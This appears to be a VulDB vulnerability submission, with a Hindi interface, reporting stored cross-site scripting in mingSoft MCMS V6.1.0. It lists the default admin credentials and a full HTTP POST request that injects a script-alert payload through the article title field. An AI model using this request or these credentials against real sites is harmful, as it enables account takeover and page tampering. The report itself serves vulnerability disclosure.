| शीर्षक | code-projects mingSoft MCMS V6.1.0 Cross Site Scripting |
|---|
| विवरण | Download the source code from https://gitee.com/mingSoft/MCMS and deploy it locally for testing. The default administrator username and password are msopen/msopen.
Add a new article in the article management module of the backend. The article title is not filtered in any way, so any XSS payload can easily trigger it. Then, accessing the homepage will trigger an XSS attack.
POST /ms/cms/content/save.do HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 311
sec-ch-ua-platform: "Windows"
Cache-Control: no-cache
Pragma: no-cache
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/ms/cms/content/index.do?
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: pageno_cookie=1; SHIRO_SESSION_ID=21278f9c-dd94-4a85-a5e9-556c95583048
Connection: keep-alive
contentTitle=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&contentShortTitle=&categoryId=1329316146811314177&contentType=&contentDisplay=0&contentAuthor=&contentSource=&contentSort=0&contentTags=&contentImg=&contentDescription=&contentKeyword=&contentDetails=&contentOutLink=&contentDatetime=2025-11-07%2020%3A34%3A44 |
|---|
| स्रोत | ⚠️ https://gitee.com/mingSoft/MCMS/issues/ID7OBM |
|---|
| उपयोगकर्ता | NasYh (UID 92820) |
|---|
| सबमिशन | 20/11/2025 01:35 PM (11 महीनों पहले) |
|---|
| संयम | 06/12/2025 02:54 PM (16 days later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 216499 [Mingsoft MCMS 5.2.9 Article save क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 0 |
|---|